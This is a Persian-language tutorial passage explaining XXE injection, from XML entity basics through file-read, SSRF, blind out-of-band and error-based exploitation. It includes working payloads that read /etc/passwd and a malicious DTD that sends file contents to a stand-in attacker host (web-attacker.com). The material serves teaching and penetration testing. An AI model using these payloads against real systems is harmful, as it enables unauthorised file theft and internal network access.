XML چیست و آسیب‌پذیری XXE چگونه به وجود می‌آید؟

آسیب‌پذیری XXE

در این مقاله می‌خواهیم با مثال عملی و استفاده از کد، با آسیب‌پذیری XXE آشنا شویم. XXE یا XML External Entities، در لیست OWASP Top 10 برای آسیب‌پذیری‌های وب، در رتبه چهارم قرار دارد و بخش مهمی از حملات وب، حملات تزریق XXE هستند. اما برای این که بهتر بتوانیم این آسیب‌پذیری را درک کنیم، ابتدا باید آشنایی مختصری با فایل‌های XML داشته باشیم و به این سوالات پاسخ دهیم:

XML چیست؟ XML Entity چیست؟ DTD چیست؟ Custom Entity چیست؟ External Entity چیست؟

در ادامه، ابتدا با این مفاهیم آشنا می‌شویم و سپس توضیح می‌دهیم آسیب‌پذیری XXE چیست، چطور می‌توان حمله XXE Injection انجام داد و چگونه می‌توان از آسیب‌پذیری XXE جلوگیری کرد. در ضمن اگر با مفاهیم بالا آشنایی دارید، می‌توانید از آن‌ها عبور کنید.

XML Entities

از آن‌جایی که آسیب‌پذیری XXE و حملات انجام‌شده با اکسپلویت آن با استفاده از انتیتی‌های XML انجام می‌شوند، ابتدا باید بدانیم این انتیتی‌ها چه هستند؛ در بخش‌های بعدی به طور مفصل توضیح داده‌ایم XML Entity چیست.
xml چیست

XML چیست؟

XML مخفف « Extensible Markup Language»، و همان‌طور که در نام آن آمده، یکی از زبان‌های مارک‌آپ مانند HTML است. زبان XML با هدف ذخیره‌سازی و انتقال داده طراحی شده است (بر خلاف HTML که برای نمایش داده طراحی شده). مانند HTML، زبان XML نیز از یک ساختار درختی تشکیل‌شده از تگ‌های مختلف و داده استفاده می‌کند. یکی از تفاوت‌های عمده‌ی XML با HTML، این است که زبان XML از تگ‌های از پیش تعریف‌شده استفاده نمی‌کند، و به همین خاطر می‌توان در این زبان به تگ‌ها نام‌هایی داد که نشان‌دهنده‌ی داده‌ای باشند که در هر تگ ذخیره شده است. اوایل پیدایش وب، XML به عنوان یک قالب انتقال داده خیلی پرطرفدار بود (X در AJAX، حرف اول XML است). ولی قالب JSON به تدریج محبوبیت آن را از آن خود کرده است.

Entity در XML به چه معناست؟

انتیتی‌های XML به ما اجازه می‌دهند به جای این که از خود داده در سند XML استفاده کنیم، آن را با یک آیتم دیگر نشان دهیم. خود XML نیز در تعریف خود چند Entity مختلف دارد. برای مثال، انتیتی‌های < و > نشان‌دهنده علامت‌های < و > هستند. این کاراکترها یا به اصطلاح «متاکاراکترها*» برای باز و بسته‌کردن تگ‌های XML استفاده می‌شوند، و به همین خاطر عموما اگر بخواهیم از آن‌ها در داده‌های خود استفاده کنیم، باید از انتیتی‌های گفته‌شده را به کار ببریم. * کاراکترهایی که در یک زبان خاص معنی خاصی دارند.

DTD یا تعریف نوع سند به چه چیزی گفته می‌شود؟

DTD مخفف Document Type Definition و به معنای «تعریف نوع سند» XML است و حاوی تعاریفی است که ساختار یک سند XML، انواع داده‌هایی که در آن وجود دارند و موارد دیگر را مشخص می‌کنند. DTD در تگ اختیاری DOCTYPE در ابتدای سند XML تعریف می‌شود. ممکن است DTD به طور کامل داخل خود سند باشد (Internal DTD)، یا از جای دیگری بارگیری شود (External DTD) یا حتی ترکیبی از این دو حالت باشد.
تعریف نوع سند

انتیتی شخصی‌سازی شده (Custom Entity) چیست و چگونه تعریف می‌شود؟ 

زبان XML به شما اجازه می‌دهد داخل DTD، انتیتی‌های جدید و شخصی‌سازی‌شده تعریف کنید. برای مثال:

<!DOCTYPE foo [ <!ENTITY myentity “my entity value” > ]> >

تعریف بالا یعنی هرجایی در این سند XML به &myentity ارجاع دهیم، با مقدار تعریف‌شده‌ی « my entity value » (که در این مورد یک استرینگ است) جایگزین می‌شود.به طور خیلی ساده می‌توان گفت انتیتی‌ها در XML، «شبیه به» متغیرها در زبان‌های برنامه‌نویسی دیگر هستند، و مقادیر مختلف را در خود نگه می‌دارند، گرچه نباید آن‌ها را با متغیر اشتباه گرفت.

External Entity یا انتیتی خارجی چیست؟

انتیتی‌های خارجی یا External Entities در زبان XML نوعی از انتیتی‌های شخصی‌سازی‌شده هستند که خارج از DTD تعریف شده‌اند.برای تعریف یک External Entity باید از کلیدواژه SYSTEM استفاده کرد و همین‌طور باید یک لینک را مشخص کرد که مقدار انتیتی از آن بارگیری شود. برای مثال:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM “http://normal-website.com” > ]>

این یعنی هرجا که در داده‌های داخل سند به &ext ارجاع دهیم، یک ریکوئست به وبسایت normal-website.com ارسال خواهد شد و مقدار خوانده‌شده از این آدرس تجزیه (یا اصطلاحا Parse) می‌شود و به جای &ext قرار می‌گیرد. علاوه بر این، در این لینک می‌توان از پروتکل file:// هم استفاده کرده، و این گونه External Entity را به صورت محلی و از یک فایل بارگیری کرد. برای مثال:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM “file:///path/to/file” > ]>

(دقت کنید که در مثال بالا، دو اسلش برای پروتکل file:// و یک اسلش برای آدرس گذاشته شده است)
این انتیتی‌های خارجی هستند که زمینه‌ی به وجود آمدن آسیب‌پذیری XXE Injection را ایجاد می‌کنند.

XXE Injection یا تزریق انتیتی‌های خارجی 

در ادامه ابتدا با آسیب‌پذیری XXE و منشأ به‌وجودآمدن آن‌ها آشنا می‌شویم، و سپس با مثال‌های عملی، انواع روش‌های اکسپلویت این آسیب‌پذیری‌ها و انجام حملات XXE مختلف را می‌آموزیم.
تزریق xxe
با دیگر حملات Injection آشنا شوید:

آسیب‌پذیری XXE چیست؟

تزریق XXE (مخفف XML External Entity) نوعی از آسیب‌پذیری در امنیت وب است که یک مهاجم به واسطه‌ی آن می‌تواند در فرایند پردازش داده‌های XML توسط یک وب‌اپلیکیشن مداخله کند. این آسیب‌پذیری معمولا مهاجم را قادر می‌کند که فایل‌هایی را که روی فایل‌سیستم سرور اپلیکیشن قرار دارند مشاهده کند، و با هر سیستم بک‌اند یا خارجی که خود اپلیکیشن قادر به دسترسی آن باشد، تعامل کند.

در بعضی موارد، مهاجم می‌تواند سطح یک حمله‌ی XXE را بالاتر ببرد (یا به اصطلاح حمله را Escalate کند) و از آسیب‌پذیری XXE برای حملات SSRF (مخفف Sever Side Request Forgery تولید ریکوئست‌های جعلی سمت سرور) استفاده کرده و از این طریق، به سروری که اپلیکیشن روی آن قرار دارد، یا زیرساخت‌های بک‌اند دیگر دسترسی پیدا کند.

آسیب‌پذیری XXE چگونه به وجود می‌آید؟

بعضی از اپلیکیشن‌ها، داده‌های بین مرورگر و سرور را در قالب فایل‌های XML انتقال می‌دهند. این نوع اپلیکیشن‌ها تقریبا همیشه از یک کتابخانه‌ی استاندارد یا API متناسب با پلتفرم خود برای پردازش داده‌های XML روی سرور استفاده می‌کنند. آسیب‌‌پذیری‌های XXE به این خاطر به وجود می‌آیند که XML در تعریف  خود ذاتاً امکاناتی دارد که بالقوه خطرناک هستند، و حتی اگر برخی از این امکانات مورد نیاز یک اپلیکیشن نباشد، باز هم پارسرهای* استاندارد XML از تمام این امکانات پشتیبانی می‌کنند.همان‌طور که پیش از این گفتیم، انتیتی‌های اکسترنال در XML، نوعی از Custom Entity هستند که مقدار تعریف‌شده برای آن‌ها، از جایی خارج از DTD که در آن تعریف شده‌اند بارگیری می‌شود. این انتیتی‌های خارجی از منظر امنیت اهمیت ویژه‌ای دارند، زیرا این امکان را به وجود می‌آورند که یک انتیتی براساس محتویات یک آدرس فایل یا URL تعریف شود.* XML Parser یا XML پروسسور برنامه یا ماژولی است که وظیفه‌ی تجزیه‌ی فایل‌های XML را دارد تا داده‌های آن‌ها قابل خواندن و استفاده باشد.
xxe چیست

انواع حملات XXE کدامند؟

حملات XXE انواع مختلفی دارند. چند نوع از حملات XXE Injection عبارتند از:
  • اکسپلویت XXE برای دستیابی به فایل‌ها: در این نوع حمله یک External Entity با محتویات یک فایل خاص تعریف می‌شود، و این محتویات در پاسخ وب‌اپلیکیشن بازگردانده می‌شوند.
  • اکسپلویت XXE برای انجام حمله SSRF: در این نوع حمله یک External Entity با لینک حاوی آدرس یک سیستم بک‌اند تعریف می‌شود.
  • اکسپلویت blind XXE برای استخراج داده به صورت out-of-band: در این نوع حمله، داده‌های حساس از سرور اپلیکیشن به سیستمی انتقال داده می‌شوند که در کنترل مهاجم است.
  • اکسپلویت blind XXE برای دستیابی به داده‌ها و پیام‌های خطا: در این نوع حمله، مهاجم می‌تواند باعث ایجاد یک parsing error* شود که حاوی اطلاعات حساس است.
* Parsing Error، خطای پارسر یا خطای تجزیه، نوعی از خطا است که توسط پارسر تولید می‌شود و به این معنی است که به هر دلیلی، پارسر نتوانسه محتوای فایل را تجزیه کند و بخواند. برای مثال اگر یک انتیتی خارجی را با پروتکل file:// و آدرسی تعریف کنیم که وجود ندارد، هنگام فراخوانی آن انتیتی، با این ارور مواجه می‌شویم.

اکسپلویت XXE برای دستیابی به فایل‌ها 

برای اجرای یک حمله‌ی تزریق XXE که یک فایل دلخواه را از فایل‌سیستم سرور به دست آورد، باید دو تغییر در فایل XML ثبت‌شده در وب‌اپلیکیشن ایجاد کنید:
  • یک عنصر DOCTYPE تعریف کنید (یا اگر وجود دارد آن را ویرایش کنید) و در آن یک External Entity حاوی آدرس آن فایل تعریف کنید.
  • در فایل XML که با پاسخ اپلیکیشن بازگردانده می‌شود، مقادیر یک داده را به گونه‌ای ویرایش کنید که از آن External Entity استفاده کند.
برای مثال، یک اپلیکیشن خرید را در نظر بگیرید که با ارسال فایل XML زیر به سرور، موجودی یک محصول خاص در انبار را بررسی می‌کند:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

این پی‌لود XXE یک انتیتی اکسترنال به نام xxe ایجاد می‌کند که مقدار آن، محتویات فایل /etc/passwd است، و سپس از این انتیتی، در مقدار productID استفاده می‌کند. این کار باعث می‌شود پاسخ اپلیکیشن، شامل محتویات فایل باشد:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

نکته: در آسیب‌پذیری‌های واقعی XXE، معمولا در یک فایل XML ثبت‌شده، تعداد زیادی مقادیر داده وجود دارند، که هر کدام از آن‌ها ممکن است در پاسخ اپلیکیشن به کار روند. برای این که بتوانید به صورت سیستماتیک و با یک رویه‌ی قابل اعتماد وجود آسیب‌پذیری‌های XXE را بررسی کنید، معمولا نیاز است تک‌تک Data Nodeها، یعنی همه‌ی جاهایی را که در فایل XML داده‌‌ای آمده است، به طور جداگانه بررسی کنید. برای بررسی هم باید یک انتیتی تعریف کنید و آن را جای داده‌ی مورد نظر قرار دهید و ببینید مقدار آن در پاسخ اپلیکیشن بازگردانده می‌شود یا خیر.

اکسپلویت XXE برای انجام حمله SSRF 

جدا از دستیابی به داده‌های حساس، یکی از ویژگی‌های اصلی حملات XXE این است که می‌توان از آن‌ها برای انجام حملات SSRF (تولید ریکوئست‌های جعلی سمت سرور) استفاده کرد. این آسیب‌پذیری پتانسیل این را دارد که به‌شدت جدی و خطرناک باشد، زیرا با استفاده از آن می‌توان کاری کرد که اپلیکیشن سمت سرور، به هر آدرس URL که سرور قادر به دسترسی به آن باشد، ریکوئست‌های HTTP ارسال کند. برای اکسپلویت آسیب‌پذیری XXE جهت انجام حمله‌ی SSRF، باید در فایل XML یک external entity تعریف کنید و مقدار آن را همان URL قرار دهید که قصد هدف‌قراردادن آن را دارید، و در نهایت در میان داده‌ها از آن استفاده کنید. اگر بتوانید از انتیتی که تعریف کرده‌اید در داخل داده‌هایی استفاده کنید که در پاسخ اپلیکیشن بازگردانده می‌شوند، می‌توانید پاسخ URL مد نظرتان را داخل پاسخ اپلیکیشن ببینید، و این گونه می‌توانید با یک واسطه (اپلیکیشن) با سیستم بک‌اند هدف یک ارتباط دوطرفه برقرار کنید. در غیر این صورت فقط می‌توانید حملات Blind SSRF را انجام دهید (که البته آن‌ها هم به جای خود می‌توانند عواقب بسیار خطرناکی داشته باشند).در مثال XXE زیر، یک External Entity باعث می‌شود سرور یک ریکوئست HTTP بک‌اند به یک سیستم داخلی در زیرساخت سازمان ارسال کند:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “http://internal.vulnerable-website.com/”> ]>

آسیب‌پذیری Blind XXE 

بسیاری از نمونه‌های آسیب‌پذیری XXE، آسیب‌پذیری‌های Blind یا کور هستند. این اصطلاح به این معنی است که در این نوع آسیب‌پذیری‌ها اپلیکیشن مقادیر هیچ‌کدام از انتیتی‌های خارجی تعریف‌شده را در پاسخ خود بازنمی‌گرداند، و به همین خاطر امکان دستیابی مستقیم به فایل‌های سمت سرور وجود ندارد.

البته هم‌چنان می‌توان آسیب‌پذیری‌های Blind XXE را یافت و آن‌ها را اکسپلویت کرد، ولی برای این کار به تکنیک‌های پیشرفته‌تری نیاز است. بعضی اوقات می‌توانید برای یافتن این‌گونه آسیب‌پذیری‌ها و اکسپلویت آن‌ها جهت استخراج داده، از روش‌های out-of-band استفاده کنید. و بعضی اوقات نیز می‌توانید Parsing Error یا خطاهای تجزیه‌ای را ایجاد کنید که در متن پیام خطا، اطلاعات حساس را فاش می‌کنند.

blind xxe

آسیب‌پذیری Blind XXE چیست؟

آسیب‌پذیری Blind XXE یا آسیب‌پذیری XXE کور، زمانی به وجود می‌آید که اپلیکیشن نسبت به XXE Injection آسیب‌پذیر است، ولی مقدار هیچ External Entity تعریف‌شده‌ای را در پاسخ‌های خود نمی‌آورد. این به آن معناست که امکان دستیابی مستقیم به فایل‌های سمت سرور وجود ندارد، و به همین خاطر است که اکسپلویت Blind XXE عموماً از آسیب‌پذیری‌های XXE معمولی سخت‌تر است. برای پیداکردن و اکسپلویت آسیب‌پذیری Blind XXE، می‌توانید از دو رویکرد کلی استفاده کنید:
  • می‌توانید باعث ایجاد ارتباطات شبکه‌ی out-of-band شوید. در این روش گاهی اوقات می‌توان داده‌های حساس را از داده‌های ارتباطی استخراج کرد.
  • می‌توانید Parsing Error یا خطاهای تجزیه‌ای ایجاد کنید که متن پیام خطا در آن‌ها، حاوی اطلاعات حساس باشد.

شناسایی آسیب‌پذیری Blind XXE با استفاده از تکنیک‌های OAST (یا out-of-band)

معمولا می‌توانید با همان تکنیک‌هایی که برای حملات XXE SSRF استفاده می‌شوند، آسیب‌پذیری‌های Blind XXE را نیز بیابید؛ تفاوت در این است که در تعریف مقدار External Entity، از URL سیستمی استفاده می‌کنید که در کنترل شماست، و این‌گونه ارتباطات out-of-band را ایجاد کنید. برای مثال، می‌توانید یک انتیتی خارجی به صورت زیر تعریف کنید:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “http://f2g9j7hhkax.web-attacker.com”> ]>

پس از تعریف این انتیتی، باید در میان داده‌های فایل XML از آن استفاده کنید.
این حمله‌ی XXE باعث می‌شود سرور یک ریکوئست HTTP بک‌اند به URL تعیین‌شده ارسال کند. مهاجم می‌تواند فرایند DNS Lookup و ریکوئست HTTP را مانیتور کند، و از این طریق متوجه شود حمله‌ی XXE موفق بوده یا نه.

بعضی اوقات اپلیکیشن از یک فرایند input validation برای اعتبارسنجی ورودی‌ها استفاده می‌کند و یا XML parser یا همان XML processor مورد استفاده‌ی اپلیکیشن، هاردنینگ شده و به همین خاطر حملات XXE که از انتیتی‌های معمولی استفاده می‌کنند، بلاک می‌شوند. در چنین شرایطی می‌توان از Parameter Entity یا انتیتی‌های پارامتری استفاده کرد. Parameter Entity نوع خاصی از انتیتی XML است که فقط در داخل DTD می‌توان به آن ارجاع داد و نمی‌توان خارج از DTD آن را فراخوانی کرد. برای انجام تست نفوذ XXE، کافی‌است فقط دو چیز را راجع به این نوع انتیتی بدانید. اول این که برای تعریف Parameter Entity باید یک علامت « % » پیش از نام آن قرار داد:

<!ENTITY % myparameterentity “my parameter entity value” >

و نکته‌ی دوم این که برای فراخوانی انتیتی پارامتری، باید به جای علامت « & » که برای انتیتی‌های معمولی استفاده می‌شود، از علامت « % » استفاده کنید:

%myparameterentity;

حال با استفاده از روش تشخیص out-of-band و از طریق انتیتی پارامتری، می‌توانید تست کنید آسیب‌پذیری Blind XXE وجود دارد یا خیر:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM “http://f2g9j7hhkax.web-attacker.com”> %xxe; ]>

این پی‌لود XXE انتیتی پارامتری به نام xxe را تعریف می‌کند و سپس داخل DTD از آن استفاده می‌کند. این کار باعث انجام یک DNS Lookup و ارسال یک ریکوئست HTTP به دامنه‌ی مهاجم می‌شود، که نشان می‌دهد حمله موفق بوده است.

اکسپلویت Blind XXE برای استخراج داده به صورت out-of-band

خب حالا فهمیدیم که چگونه می‌توانیم آسیب‌پذیری XXE کور را با استفاده از تکنیک‌های out-of-band تشخیص دهیم، ولی از این تکنیک نمی‌توان فهمید که چگونه می‌توان این آسیب‌پذیری را اکسپلویت کرد. در واقع هدف اصلی مهاجم استخراج داده‌های حساس است، نه صرفا یافتن آسیب‌پذیری. برای رسیدن به این هدف می‌توان از آسیب‌پذیری Blind XXE استفاده کرد، ولی مهاجم برای این کار باید یک فایل DTD مخرب را روی سیستمی میزبانی کند که در کنترل خودش باشد، و سپس داخل خود پی‌لود XXE، فایل DTD مخرب را صدا بزند.
یک مثال از یک DTD مخرب که می‌توان از آن برای استخراج محتویات فایل /etc/passwd استفاده کرد، به صورت زیر است:

<!ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % eval “<!ENTITY &#x25; exfiltrate SYSTEM ‘http://web-attacker.com/?x=%file;’>”>
%eval;
%exfiltrate;

این DTD مراحل زیر را انجام می‌دهد:

  • یک انتیتی پارامتری XML به نام file تعریف می‌کند که حاوی محتویات فایل /etc/passwd است.
  • یک انتیتی پارامتری XML به نام eval تعریف می‌کند، که حاوی تعریف دینامیک* یک انتیتی پارامتری دیگر به اسم exfiltrate است (انتیتی &#x25; همان علامت % است؛ چون داخل استرینگ داریم از این متاکاراکتر استفاده می‌کنیم، باید به جای تایپ مستقیم آن، انتیتی آن را فراخوانی کنیم)‌. زمانی که انتیتی exfiltrate فراخوانی شود، یک ریکوئست HTTP به وب‌سرور مهاجم می‌فرستد. این ریکوئست حاوی مقدار انتیتی file است که به صورت مستقیم در استرینگ کوئری URL آمده است؛ یعنی محتوای فایل /etc/passwd که به عنوان مقدار انتیتی file تعریف شده بود، به طور مستقیم داخل URL و در ریکوئست HTTP به سرور مهاجم ارسال می‌شود.
  • از انتیتی eval استفاده می‌کند، که باعث می‌شود انتیتی exfiltrate به صورت دینامیک تعریف شود.
  • از انتیتی exfiltrate استفاده می‌کند، که وقتی مقدار آن جای آن قرار داده شود، URL تعیین‌شده در یک ریکوئست HTTP ارسال می‌شود.

سپس مهاجم باید این DTD مخرب را روی سیستمی که تحت کنترل خودش باشد میزبانی کند. مهاجم معمولا برای این کار فایل را روی وب‌سروری بارگذاری می‌کند که متعلق به خودش باشد. برای مثال مهاجم ممکن است فایل DTD مخرب را در این URL قرار دهد:

http://web-attacker.com/malicious.dtd

در نهایت مهاجم باید پی‌لود XXE زیر را در اپلیکیشن آسیب‌پذیر ثبت کند:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM “http://web-attacker.com/malicious.dtd”> %xxe;]>

این پی‌لود XXE یک انتیتی پارامتری XML به نام xxe تعریف می‌کند و سپس از این انتیتی داخل خود DTD استفاده می‌کند. این کار باعث می‌شود پارسر XML فایل DTD اکسترنال یا خارجی را از سرور مهاجم دریافت کند و آن را تفسیر کند. سپس مراحلی که در فایل DTD مخرب تعریف شده بودند اجرا می‌شوند، و محتویات فایل /etc/passwd به سرور مهاجم انتقال پیدا می‌کنند.نکته: این تکنیک ممکن است برای محتواهایی خاصی در فایل‌ها، برای مثال کاراکتر newline موجود در فایل /etc/passwd، کار نکند. دلیل این مشکل این است که برخی پارسرهای XML، آدرس URL را که در انتیتی اکسترنال قرار دارد با استفاده از یک API دریافت می‌کنند که بررسی می‌کنند کاراکترهایی که در URL آمده‌اند، کاراکترهای مجاز باشند (در URL خط جدید نداریم!). در چنین مواقعی، ممکن است بتوانید به جای پروتکل HTTP از پروتکل FTP استفاده کنید. بعضی اوقات به طور کلی نمی‌توان داده‌های حاوی کاراکتر newline را استخراج کرد؛ در این مواقع می‌توان فایل دیگری مانند /etc/hostname را هدف قرار داد. *تعریف دینامیک انتیتی یعنی زمانی که تعریف یک انتیتی، مقدار تعریف‌شده برای یک انتیتی دیگر باشد. برای مثال زمانی که انتیتی one را تعریف کنیم و مقدار آن را تعریف انتیتی two قرار دهیم، هنگامی که &one را فراخوانی کنیم، انتیتی two تعریف می‌شود و پس از آن می‌توانیم &two را فراخوانی کنیم.

اکسپلویت Blind XXE برای دستیابی به داده‌ها از طریق پیام‌های خطا

یک رویکرد جایگزین برای اکسپلویت Blind XXE، این است که یک Parsing Error ایجاد کنیم که در آن پیام خطا حاوی اطلاعات حساسی باشد که به دنبال دستیابی به آن‌ها هستیم. این رویکرد زمانی موثر است که اپلیکیشن پیام خطا را به همراه پاسخ خود ارسال کند. شما می‌توانید با استفاده از یک فایل DTD خارجی مخرب – که روی وب‌سرور متعلق به شما میزبانی می‌شود – یک Parsing Error ایجاد کنید که حاوی محتویات فایل /etc/passwd باشد:

<!ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % eval “<!ENTITY &#x25; error SYSTEM ‘file:///nonexistent/%file;’>”>
%eval;
%error;

این DTD مراحل زیر را انجام می‌دهد:

  • یک انتیتی پارامتری به اسم file تعریف می‌کند، که حاوی محتویات فایل /etc/passwd است.
  • یک انتیتی پارامتری به اسم eval تعریف می‌کند، که حاوی تعریف دینامیک یک انتیتی پارامتری دیگر به نام error است. انتیتی error هنگام فراخوانی، سعی می‌کند فایلی را بارگیری کند که وجود خارجی ندارد، ولی نام این فایل حاوی مقدار انتیتی file (یعنی محتویات فایل /etc/passwd) است. (معنای تعریف دینامیک را در بخش قبل گفتیم).
  • انتیتی eval را فراخوانی می‌کند، که باعث می‌شود انتیتی error به صورت دینامیک تعریف شود.
  • انتیتی error را فراخوانی می‌کند؛ با فراخوانی error، اپلیکیشن سعی می‌کند فایلی را بارگیری کند که وجود ندارد. این مساله باعث می‌شود یک پیام خطا ایجاد شود که نام فایل ناموجود در آن آمده است. همان‌طور که اشاره کردیم، نام این فایل ناموجود هم حاوی محتویات فایل /etc/passwd بود.

اجرای DTD اکسترنال باعث می‌شود یک پیام خطا مانند پیام زیر تولید شود:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

اکسپلویت Blind XXE با استفاده غیر مستقیم از یک DTD محلی

تکنیک‌های قبلی برای DTD خارجی به خوبی کار می‌کنند، ولی معمولا برای یک DTD داخلی که به طور کامل در تگ DOCTYPE تعریف شده جواب نمی‌دهند. دلیل آن هم این است که در این تکنیک‌ها، یک انتیتی پارامتری در تعریف یک انتیتی پارامتری دیگر استفاده می‌شود (مثلا استفاده از %file در انتهای URL یا استفاده از %file در انتهای آدرس تعیین‌شده در پروتکل file://). در زبان XML، این کار در DTDهای خارجی مجاز است ولی در DTDهای داخلی مجاز نیست (البته بعضی پارسرها ممکن است با این کار مشکلی نداشته باشند، ولی بسیاری از پارسرها آن را قبول نمی‌کنند).حالا اگر ارتباطات out-of-band بلاک شده بود چه کنیم؟ در چنین مواقعی نه می‌توان داده را از اتصال out-of-band استخراج کرد، نه می‌توان یک DTD اکسترنال را از روی یک سرور خارجی بارگیری کرد. راه حل چیست؟ در چنین شرایطی، به خاطر یک استثنا در زبان XML، ممکن است هم‌چنان بتوان پیام‎‌های خطایی ایجاد کرد که حاوی اطلاعات حساس باشند. حال این استثنا چیست؟ اگر در تعریف DTD یک سند XML، ترکیبی از یک DTD داخلی و یک DTD خارجی استفاده شده باشد، در این صورت DTD داخلی می‌توان انتیتی‌هایی را که در DTD خارجی تعریف شده‌اند، دوباره تعریف کند. وقتی این اتفاق می‌افتد، محدودیت عدم امکان استفاده از یک انتیتی پارامتری داخل تعریف یک انتیتی پارامتری دیگر، برداشته می‌شود. این یعنی مهاجم می‌تواند از تکنیک XXE مبتنی بر ارور در یک DTD داخلی استفاده کند، ولی فقط در صورتی که انتیتی پارامتری که قصد استفاده از آن را دارد، داخل یک DTD خارجی تعریف شده باشد و DTD داخلی دوباره آن را تعریف کند. البته همان‌طور که گفتیم، این راه حل برای زمانی است که اتصالات out-of-band بلاک شده‌اند، به همین خاطر نمی‌توان External DTD را از یک سرور خارجی بارگیری کرد. در عوض، باید فایل DTD خارجی را از مکانی بارگیری کرد که برای سرور اپلیکیشن، یک آدرس لوکال محسوب شود. یعنی اساسا در این حمله باید یک فایل DTD را روی فایل‌سیستم محلی سرور هدف پیدا کرد، سپس یکی از انتیتی‌هایی را که از قبل درون آن تعریف شده‌اند، به گونه‌ای دوباره تعریف کرد که باعث ایجاد یک پیام خطا حاوی اطلاعات حساس شود. برای مثال، فرض کنید یک فایل DTD روی فایل‌سیستم سرور و در آدرس /usr/local/app/schema.dtd وجود دارد، و در این فایل DTD، یک انتیتی به نام custom_entity تعریف شده است. مهاجم می‌تواند با ثبت یک DTD ترکیبی یا Hybrid DTD به شکل زیر، باعث ایجاد یک Parsing Error حاوی محتویات فایل /etc/passwd شود:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM “file:///usr/local/app/schema.dtd”>
<!ENTITY % custom_entity ‘
<!ENTITY &#x25; file SYSTEM “file:///etc/passwd”>
<!ENTITY &#x25; eval “<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>”>
&#x25;eval;
&#x25;error;
‘>
%local_dtd;
]>

این DTD مراحل زیر را انجام می‌دهد:

  • یک انتیتی پارامتری به نام local_dtd تعریف می‌کند، که حاوی محتویات فایل DTD خارجی است که از قبل روی فایل‌سیستم سرور وجود دارد. انتیتی پارامتری به نام custom_entity را که قبلا روی فایل DTD خارجی تعریف شده بود، دوباره تعریف می‌کند. در تعریف مجدد این انتیتی، یک اکسپلویت XXE مبتنی بر ارور قرار داده می‌شود که در بخش‌های قبلی توضیحات مربوط به آن آمده است. این اکسپلویت باعث ایجاد یک پیام خطا می‌شود که حاوی محتویات فایل /etc/passwd است.
  • انتیتی local_dtd را فراخوانی می‌کند. با این کار DTD خارجی تفسیر می‌شود که شامل انتیتی custom_entity است که آن را دوباره تعریف کرده‌ایم. پس با فراخوانی local_dtd، پیام خطایی که به دنبال آن بودیم ایجاد می‌شود.
یافتن یک فایل DTD محلی برای استفاده غیر مستقیم
از آنجایی که برای انجام این نوع حمله XXE باید از یک فایل DTD که از قبل روی فایل‌سیستم سرور وجود دارد به صورت غیرمستقیم استفاده کنیم، یافتن یک فایل مناسب ضروری است. این کار معمولا بدون دردسر و به آسانی قابل انجام است. از آن‌جایی که در این جا اپلیکیشن پیام‌های خطای تولید شده توسط پارسر XML را برمی‌گرداند، به راحتی می‌توانید فایل‌های DTD لوکال را Enumerate کنید؛ برای این کار کافی‌است سعی کنید این فایل‌ها را از داخل DTD داخلی بارگیری کنید؛ اگر فایل وجود نداشته باشد از پیام خطا متوجه آن خواهید شد، و اگر فایل وجود داشت پیام خطایی نمی‌گیرید.برای مثال، سیستم‌های لینوکسی که از محیط دسکتاپ GNOME استفاده می‌کنند، معمولا یک فایل DTD در آدرس /usr/share/yelp/dtd/docbookx.dtd دارند. شما می‌توانید با ثبت پی‌لود XXE زیر متوجه شوید این فایل وجود دارد یا نه، چون اگر وجود نداشته باشد، یک ارور ایجاد می‌شود:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM “file:///usr/share/yelp/dtd/docbookx.dtd”>
%local_dtd;
]>

پس از این که لیستی از آدرس‌های رایج فایل‌های DTD را امتحان کردید و یک فایل پیدا شد، باید یک کپی از آن به دست بیاورید تا بتوانید آن را بخوانید و در آن یک انتیتی بیابید که بتوانید دوباره تعریف کنید. از آن‌جایی که بسیاری از سیستم‌های رایج دارای فایل‌های DTD متن باز هستند، معمولا می‌توانید با یک جستجو در اینترنت یک کپی از فایل DTD مورد نظر بیابید.

نحوه یافتن دارایی‌های مستعد تزریق XXE 

سطح حمله‌ی آسیب‌پذیری‌های XXE Injection در بسیاری موارد واضح است، چون ترافیک HTTP معمولی اپلیکیشن حاوی ریکوئست‌هایی است که در خود داده‌های با قالب XML دارند. در موارد دیگر، سطح حمله را سخت‌تر می‌توان دید. با این وجود اگر در جاهای درست بگردید، سطح حمله‌ی XXE را در ریکوئست‌هایی می‌یابید که حاوی هیچ داده‌ای با قالب XML نیستند.

حملات XInclude 

برخی اپلیکیشن‌ها داده‌های ثبت‌شده توسط کلاینت را دریافت می‌کنند، آن را در سمت سرور در یک سند XML قرار می‌دهند، و سپس سند را Parse می‌کنند. یک مثال از این فرایند زمانی است که داده‌های ثبت‌شده توسط کلاینت در یک ریکوئست بک‌اند SOAP قرار داده می‌شوند، و سپس این ریکوئست توسط سرویس بک‌اند SOAP پردازش می‌شود. در چنین شرایطی نمی‌توانید به روش سنتی حمله XXE انجام دهید، زیرا سند XML به طور کامل در کنترل شما نیست و به همین خاطر نمی‌توانید تگ DOCTYPE را تعریف یا دستکاری کنید. با این وجود، ممکن است بتوانید به جای این کار از XInclude استفاده کنید. XInclude بخشی از زبان XML است که اجازه می‌دهد یک سند XML، از چندین زیر-سند یا sub-document تشکیل شود. شما می‌توانید حمله XInclude را جای هر داده‌ای در یک سند XML قرار دهید، و به همین خاطر حتی در شرایطی که فقط می‌توانید یک آیتم داده را کنترل کنید که در یک سند XML سمت سرور قرار می‌گیرد، باز هم می‌توانید این حمله را انجام 